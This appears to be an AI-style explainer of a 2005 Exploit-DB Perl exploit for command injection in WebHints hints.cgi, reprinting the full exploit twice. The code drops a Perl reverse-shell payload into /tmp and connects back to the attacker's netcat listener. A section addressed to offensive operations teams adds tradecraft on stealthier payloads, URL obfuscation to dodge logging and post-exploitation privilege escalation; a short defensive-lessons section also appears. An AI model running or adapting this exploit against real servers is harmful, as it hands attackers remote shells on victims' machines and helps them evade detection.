Webhints 1.03 Remote Command Execution Explained

Webhints 1.03 Remote Command Execution Explained
What this paper is
This paper details a remote command execution vulnerability in WebHints version 1.03 and potentially all earlier versions. The exploit, written in Perl, leverages a flaw in the hints.cgi script to allow an attacker to execute arbitrary commands on the vulnerable server. It achieves this by injecting commands into the server's request, specifically targeting the ability to write to the /tmp directory and then execute a Perl script that establishes a reverse shell connection back to the attacker.
Simple technical breakdown
The core of the vulnerability lies in how the hints.cgi script handles user input. It appears to be susceptible to command injection, meaning an attacker can trick the script into running commands that the server's operating system would normally execute.
The exploit works in two main stages:
- Dropping a payload: The attacker crafts a special URL that, when sent to the vulnerable
hints.cgiscript, causes it to write a small Perl script into the/tmpdirectory on the server. This script is designed to execute commands and establish a network connection. - Executing the payload and establishing a reverse shell: The same crafted URL also instructs the
hints.cgiscript to execute the Perl script that was just written to/tmp. This Perl script then attempts to connect back to a listener set up by the attacker on their own machine, providing the attacker with a command shell on the vulnerable server.
Complete code and payload walkthrough
The provided Exploit-DB paper contains Perl code that acts as the exploit client, interacting with the vulnerable server. It also contains the Perl payload that is written to the vulnerable server.
Let's break down the exploit client code first:
#!/usr/bin/perl -w
# ... (comments and header information) ...
use IO::Socket;
# ... (print statements for banner and information) ...
print "hostname: \n";
chomp($server=<STDIN>); # Reads the target server's hostname or IP address
print "port: (default: 80)\n";
chomp($port=<STDIN>); # Reads the target server's port
$port=80 if ($port =~/\D/ ); # If input is not a digit, default to 80
$port=80 if ($port eq "" ); # If input is empty, default to 80
print "path: (/cgi-bin/)\n";
chomp($path=<STDIN>); # Reads the path to the cgi-bin directory
print "your ip (for reverse connect): \n";
chomp($ip=<STDIN>); # Reads the attacker's IP address for the reverse connection
print "your port (for reverse connect): \n";
chomp($reverse=<STDIN>); # Reads the attacker's port for the reverse connection
print " \n\n";
print "~~~~~~~~~~~~~~~~~~~~START~~~~~~~~~~~~~~~~~\r\n";
print "[*] try to exploiting...\n";
# This is the core of the exploit. It constructs the malicious string.
$string="/$path/hints.pl?|cd /tmp;echo ".q{use Socket;$execute= 'echo "`uname -a`";echo "`id`";/bin/sh';$target=$ARGV[0];$port=$ARGV[1];$iaddr=inet_aton($target) || die("Error: $!\n");$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");$proto=getprotobyname('tcp');socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");connect(SOCKET, $paddr) || die("Error: $!\n");open(STDIN, ">&SOCKET");open(STDOUT, ">&SOCKET");open(STDERR, ">&SOCKET");system($execute);close(STDIN)}." >>cbs.pl;perl cbs.pl $ip $reverse|";
print "[*] OK! \n";
print "[*] NOW, run in your box: nc -l -vv -p $reverse\n";
print "[*] starting connect back on $ip :$reverse\n";
print "[*] DONE!\n";
print "[*] Look netcat windows and funny\n\n";
# This part establishes the initial connection to the vulnerable server.
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => tcp)
or die;
# This constructs and sends the HTTP POST request.
print $socket "POST $path HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "User-Agent: M4DR007\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Connection: close\n\n";
# ... (warning messages and group credits) ...
# milw0rm.com [2005-06-11]Explanation of the $string variable (the injected command):
This is the most critical part. It's a single string that gets appended to the hints.pl script name in the URL. The | characters are used to pipe commands, and the cd /tmp; ... >>cbs.pl; perl cbs.pl ... | structure is key.
cd /tmp;: This command changes the current directory to/tmp. This is important because it's a common location where processes have write permissions, allowing the script to be saved.echo ".q{...}." >>cbs.pl;: This part takes the Perl payload (explained below) and writes it into a file namedcbs.plin the/tmpdirectory..q{...}.: This is a Perl quoting mechanism. It allows the content within the curly braces to be treated as a string, even if it contains special characters. The outer dots are concatenation operators.
perl cbs.pl $ip $reverse|: This command executes thecbs.plscript that was just created. It passes the attacker's IP ($ip) and port ($reverse) as command-line arguments to this script. The final|is likely for further command chaining, though in this context, it might be redundant.
Explanation of the Perl payload (inside .q{...}):
This is the code that gets written to cbs.pl on the target server and then executed.
use Socket; # Imports the Socket module for network programming.
$execute= 'echo "`uname -a`";echo "`id`";/bin/sh'; # Defines the commands to be executed.
# - `uname -a`: Gets system information (kernel name, version, etc.).
# - `id`: Shows the current user and group IDs.
# - `/bin/sh`: Executes a shell, which will be the interactive shell for the attacker.
$target=$ARGV[0]; # The first command-line argument is the attacker's IP address.
$port=$ARGV[1]; # The second command-line argument is the attacker's port.
$iaddr=inet_aton($target) || die("Error: $!\n"); # Converts the IP address string into a network byte order integer.
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n"); # Creates a sockaddr_in structure from the port and IP address.
$proto=getprotobyname('tcp'); # Gets the protocol number for TCP.
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); # Creates a TCP socket.
connect(SOCKET, $paddr) || die("Error: $!\n"); # Connects the socket to the attacker's IP and port.
# Redirects standard input, output, and error to the socket.
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($execute); # Executes the commands defined in $execute. This will print system info and then launch /bin/sh.
close(STDIN); # Closes the socket connection.Mapping list:
#!/usr/bin/perl -w: Shebang line, specifies the interpreter and enables warnings.use IO::Socket;: Imports the necessary module for network socket operations in the exploit client.chomp($server=<STDIN>);: Reads user input for the target server.$port=80 if ($port =~/\D/ );: Input validation for port, defaults to 80 if non-digit characters are found.$string="/$path/hints.pl?|cd /tmp;echo ".q{...}." >>cbs.pl;perl cbs.pl $ip $reverse|";: The constructed malicious URL string.|: Command separator, used for piping.cd /tmp;: Changes directory to/tmp.echo ".q{...}." >>cbs.pl;: Writes the Perl payload tocbs.pl..q{...}.: Perl quoting for the payload string.
perl cbs.pl $ip $reverse|: Executes thecbs.plscript with attacker's IP and port.
$socket=IO::Socket::INET->new(...): Establishes a TCP connection to the target server.print $socket "POST ...";: Sends the HTTP POST request containing the malicious URL.use Socket;: Imports the Socket module for the payload.$execute= 'echo "uname -a";echo "id";/bin/sh';: Commands to be executed on the target.$target=$ARGV[0];: Attacker's IP from command-line arguments.$port=$ARGV[1];: Attacker's port from command-line arguments.inet_aton($target): Converts IP string to network byte order.sockaddr_in($port, $iaddr): Creates socket address structure.getprotobyname('tcp'): Gets TCP protocol number.socket(SOCKET, PF_INET, SOCK_STREAM, $proto): Creates a TCP socket.connect(SOCKET, $paddr): Connects to the attacker's listener.open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET");: Redirects standard I/O to the socket.system($execute);: Executes the defined commands, initiating the shell.close(STDIN);: Closes the socket.
Practical details for offensive operations teams
- Required Access Level: Network access to the target server is required. No prior authentication or local access is needed if the
hints.cgiscript is accessible and vulnerable. - Lab Preconditions:
- A vulnerable WebHints installation (version <= all).
- A listener set up on the attacker's machine (e.g.,
nc -l -vv -p <attacker_port>). - The attacker's machine must be reachable from the target server (firewalls permitting).
- Tooling Assumptions:
- Perl interpreter on the attacker's machine to run the exploit script.
- Netcat (
nc) or a similar tool on the attacker's machine to listen for the reverse connection.
- Execution Pitfalls:
- Write Permissions in
/tmp: The exploit relies on being able to write to/tmp. If the web server process or thehints.cgiscript lacks write permissions in/tmp, the payload cannot be dropped, and the exploit will fail. The paper explicitly mentions this as a potential failure point. - Vulnerability Patch: If the
hints.cgiscript has been patched against command injection, this exploit will not work. - Firewall Restrictions: Network firewalls on the target or intermediate networks might block the outbound reverse shell connection from the target server to the attacker's IP and port.
- Web Server Configuration: Unusual web server configurations or security modules (like mod_security) might detect and block the malicious URL pattern.
- Path Issues: Incorrectly guessing the
pathtocgi-binor thehints.plscript will cause the exploit to fail. - Shell Stability: The
/bin/shshell might not be the most robust or interactive shell. Depending on the target system, other shells like/bin/bashmight be preferred if available and the payload can be modified.
- Write Permissions in
- Tradecraft Considerations:
- Reconnaissance: Thoroughly identify the web application and its components. Confirm the presence of WebHints and its version if possible.
- Payload Customization: While this exploit uses a simple Perl reverse shell, for more advanced operations, consider modifying the payload to use more stealthy techniques, different shell types, or to exfiltrate data more subtly.
- Listener Management: Ensure the listener is configured to accept connections and is appropriately secured.
- Obfuscation: The URL itself might be logged. Consider URL encoding or other obfuscation techniques if logging is a concern, though this exploit's structure might limit options.
- Post-Exploitation: Once a shell is obtained, immediately attempt to stabilize it, escalate privileges, and gather further intelligence.
Where this was used and when
- Approximate Year: The exploit was published on June 11, 2005. This indicates it was relevant around that time.
- Context: This type of vulnerability was common in web applications developed in scripting languages like Perl, PHP, or Python, especially in the early to mid-2000s, where input sanitization was often overlooked. WebHints was a software package that likely provided features for webmasters to add hints or tips to their websites. Exploits targeting such applications were often found on public exploit databases.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. All user-supplied input, especially when used in system commands or file paths, must be rigorously validated and sanitized to prevent command injection. Never trust user input.
- Principle of Least Privilege: Ensure that web server processes and CGI scripts run with the minimum necessary privileges. If the web server process cannot write to
/tmp, this specific exploit would be significantly hampered. - Secure Coding Practices: Developers must be trained in secure coding practices for web applications. This includes understanding common vulnerabilities like command injection, SQL injection, XSS, etc.
- Web Application Firewalls (WAFs): WAFs can help detect and block malicious requests containing known attack patterns, such as command injection attempts in URLs.
- Regular Patching and Updates: Keep all web applications, frameworks, and server software up-to-date with the latest security patches. While this exploit targets an older version, the principle applies to all software.
- Logging and Monitoring: Implement comprehensive logging for web server access and application errors. Monitor these logs for suspicious activity, such as unusual URL patterns or command execution attempts.
- Secure Directory Permissions: Carefully manage write permissions for web server processes. Avoid granting write access to directories that don't strictly require it.
ASCII visual (if applicable)
This exploit involves a client-server interaction and command injection, which can be visualized as follows:
+-----------------+ HTTP Request +-----------------------+
| Attacker Machine| ----------------------> | Vulnerable Web Server |
| (Exploit Client)| (Malicious URL) | (hints.cgi) |
+-----------------+ +-----------------------+
^ |
| | Writes payload to /tmp
| Reverse Shell Connection | and executes it
| v
+-----------------+ +-----------------------+
| Attacker Listener| | /tmp/cbs.pl |
| (e.g., nc -l) | <---------------------- | (Perl Payload) |
+-----------------+ Shell Commands +-----------------------+Explanation:
- The attacker's machine runs the Perl exploit script.
- The exploit script sends an HTTP request to the vulnerable web server. This request contains a specially crafted URL that tricks
hints.cgi. - The
hints.cgiscript, due to the vulnerability, executes commands that write the Perl payload (cbs.pl) into the/tmpdirectory on the server. - The same request also triggers the execution of
/tmp/cbs.pl. - The Perl payload establishes a reverse shell connection back to the attacker's listener.
- The attacker's listener receives the connection, and the attacker gains a command shell on the target server.
Source references
- Paper ID: 1041
- Paper Title: Webhints 1.03 - Remote Command Execution (Perl) (3)
- Author: MadSheep
- Published: 2005-06-11
- Keywords: CGI, webapps
- Paper URL: https://www.exploit-db.com/papers/1041
- Raw URL: https://www.exploit-db.com/raw/1041
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl -w
#
#
#emanuele@blackbox:~$ perl M4DR007-hints.pl
#
#
# ~~ www.madroot.edu.ms Security Group ~~
#
# WebHints Software hints.cgi
# Remote Command Execution Vulnerability
# Affected version: <= all
# ~~ code by MadSheep ~~
#
#
# 06.11.2005
#
#
#hostname:
#localhost
#port: (default: 80)
#80
#path: (/cgi-bin/)
#/cgi-bin/
#your ip (for reverse connect):
#127.0.0.1
#your port (for reverse connect):
#7350
#
#
#~~~~~~~~~~~~~~~~~~~~START~~~~~~~~~~~~~~~~~
#[*] try to exploiting...
#[*] OK!
#[*] NOW, run in your box: nc -l -vv -p 7350
#[*] starting connect back on 127.0.0.1 :7350
#[*] DONE!
#[*] Look netcat windows and funny
#
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# WARNING - WARNING - WARNING - WARNING
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
#If connect back shell not found:
#- you do not have privileges to write in /tmp
#- Shell not vulnerable
#
#
#We r: MadSheep - Punish3r - Spastic_eye - seth - Groove - Mrk
#
#
#emanuele@blackbox:~$
#
#
#emanuele@blackbox:~$ nc -l -vv -p 7350
#
# uid=1001(madhseep) gid=1001(madsheep) grupos=1001(madsheep)
#
#
#
# Come cheer us at #madroot on Freenode ( irc.freenode.net )
#
# (C) 2005 Copyright by madroot Security Group
#
#############################################
use IO::Socket;
print "\n\n ~~ www.madroot.edu.ms Security Group ~~ \n\n";
print " WebHints Software hints.cgi\n";
print " Remote Command Execution Vulnerability\n";
print " Affected version: <= all \n";
print " ~~ code by MadSheep ~~\n\n\n";
print " 06.11.2005\n\n\n";
print "hostname: \n";
chomp($server=<STDIN>);
print "port: (default: 80)\n";
chomp($port=<STDIN>);
$port=80 if ($port =~/\D/ );
$port=80 if ($port eq "" );
print "path: (/cgi-bin/)\n";
chomp($path=<STDIN>);
print "your ip (for reverse connect): \n";
chomp($ip=<STDIN>);
print "your port (for reverse connect): \n";
chomp($reverse=<STDIN>);
print " \n\n";
print "~~~~~~~~~~~~~~~~~~~~START~~~~~~~~~~~~~~~~~\r\n";
print "[*] try to exploiting...\n";
$string="/$path/hints.pl?|cd /tmp;echo ".q{use Socket;$execute= 'echo "`uname -a`";echo "`id`";/bin/sh';$target=$ARGV[0];$port=$ARGV[1];$iaddr=inet_aton($target) || die("Error: $!\n");$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");$proto=getprotobyname('tcp');socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");connect(SOCKET, $paddr) || die("Error: $!\n");open(STDIN, ">&SOCKET");open(STDOUT, ">&SOCKET");open(STDERR, ">&SOCKET");system($execute);close(STDIN)}." >>cbs.pl;perl cbs.pl $ip $reverse|";
print "[*] OK! \n";
print "[*] NOW, run in your box: nc -l -vv -p $reverse\n";
print "[*] starting connect back on $ip :$reverse\n";
print "[*] DONE!\n";
print "[*] Look netcat windows and funny\n\n";
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => tcp)
or die;
print $socket "POST $path HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "User-Agent: M4DR007\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Connection: close\n\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
print " WARNING - WARNING - WARNING - WARNING \r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\n";
print "If connect back shell not found:\n";
print "- you do not have privileges to write in /tmp\n";
print "- Shell not vulnerable\n\n\n";
print "We r: MadSheep - Punish3r - Spastic_eye - seth - Groove - Mrk\n\n\n";
# milw0rm.com [2005-06-11]